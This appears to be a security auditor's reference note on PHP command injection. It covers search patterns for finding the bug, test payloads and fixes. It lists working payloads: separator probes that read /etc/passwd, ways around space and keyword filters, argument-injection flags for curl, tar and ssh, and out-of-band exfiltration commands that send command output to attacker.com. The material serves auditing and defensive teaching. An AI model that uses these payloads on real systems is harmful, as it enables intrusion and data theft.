These notes are public, opinionated, and evolving — read abdelkader.ma for the long-form posts.
PHP SecurityCommand Injection

Command Injection

Any function that spawns a shell respects shell metacharacters. Concatenating user input into system("convert " . $file . " out.png") lets the attacker append ; rm -rf /, pipe to nc, or run a subshell with $(…).

Why

Two sub-classes that get conflated and shouldn’t be:

  1. Direct injection — input reaches a shell with metachars unfiltered (;, |, &&, `, $()). Adds arbitrary commands.
  2. Argument injection — input is wrapped with escapeshellarg but slipped into a flag position. The shell metachars are escaped, but the command’s own flags weren’t sanitised. curl --config=/dev/stdin, ssh -oProxyCommand=..., tar --checkpoint-action=exec=... are all reachable.

Same severity, different fix.

Search patterns

# Direct shell-execution
rg -n '\b(system|exec|shell_exec|passthru|popen|proc_open|pcntl_exec)\s*\(' --type=php
 
# Backtick operator
rg -n '`[^`]*\$' --type=php
 
# Indirect — via libraries that shell out
rg -n 'Process::|Symfony\\\\Process|->run\(' --type=php

Test inputs

Delimiters (probe each one — different shells behave differently):

  • ; id
  • | id
  • & id
  • && id
  • || id
  • \n id (newline)
  • `id`
  • $(id)
  • $(< /etc/passwd)

OS-aware variants:

OS / ShellSeparatorNotes
Linux/bash; ` & &&
Windows/cmd& && `
Windows/powershell; ``

Bypassing space filters:

  • ${IFS}cat${IFS}/etc/passwd
  • {cat,/etc/passwd} — brace expansion
  • IFS=,;cmd<<<input,here
  • Tab: cat%09/etc/passwd

Bypassing keyword filters:

  • Quote interleaving: c'a't /etc/passwd, c"a"t /etc/passwd
  • cat /e''tc/passwd
  • Wildcards: /???/p?sswd

Argument injection (when escapeshellarg is used but the value is a flag):

  • For curl: -K /dev/stdin (read config from stdin), --upload-file /etc/passwd
  • For wget: --use-askpass=... or --config=/dev/stdin
  • For tar: --checkpoint=1 --checkpoint-action=exec=sh
  • For find: -exec sh -c ...
  • For ssh: -oProxyCommand=..., -oPermitLocalCommand=yes
  • For git: --upload-pack=..., --exec=...
  • For ImageMagick convert: delegate policies (the ImageTragick family)
  • Any binary: try -foo — sometimes it flips behaviour just by being parsed

Out-of-band exfil (when command output isn’t reflected):

  • ; curl https://attacker.com/?$(id|base64)
  • ; nslookup $(whoami).attacker.com
  • ; wget http://attacker.com/$(id|tr ' ' _)
  • ; `id | base64 | xargs -I{} curl attacker.com/{}`

Audit focus

For each shell-exec call:

  1. Construction shape — string concatenation (worst), escapeshellarg on every value (decent for separator injection but not argument injection), or array form of proc_open (best — no shell at all).
  2. Argument injection surface — what binary is being invoked? Does it have any --config=..., --exec=..., -o<option> flags? curl, wget, ffmpeg, convert (ImageMagick), tar, find, ssh, git, mysql — all argument-injection-friendly.
  3. Privilege of the PHP process — root? www-data? www-data with sudo NOPASSWD on something interesting?
  4. PATH — is a relative binary used (exec("convert ...")) or an absolute path (exec("/usr/bin/convert ..."))? Relative paths + attacker-controlled PATH is its own bug.
  5. Indirect injection — does the input feed a file that another shell command reads (e.g. writing to .bash_history then exec’ing bash)?
⚠️

escapeshellcmd is not escapeshellarg. The former escapes metacharacters in the whole command but does not quote arguments — flag-style injection still works. Use escapeshellarg per-argument, or the array form of proc_open which doesn’t go through a shell at all.

Fix

The right answer: proc_open with an array of args, no shell.

$proc = proc_open(
  ['/usr/bin/convert', $file, 'out.png'],   // PHP 7.4+: array form
  [1 => ['pipe', 'w'], 2 => ['pipe', 'w']],
  $pipes
);

When using a string command, escape and pin:

$cmd = '/usr/bin/convert '
     . escapeshellarg($file) . ' '
     . escapeshellarg($out);
exec($cmd);

For argument-injection-prone tools, add -- (end-of-options) where the binary supports it:

exec('/usr/bin/grep -- ' . escapeshellarg($pattern) . ' ' . escapeshellarg($file));

For a binary you don’t control flags of, use the array form — it doesn’t help with --exec style injection either, but it eliminates the shell metachar layer entirely.

  • SSRF — sometimes the chain ends at command exec on an internal box
  • File Upload — uploaded ImageMagick payloads → command exec via ImageTragick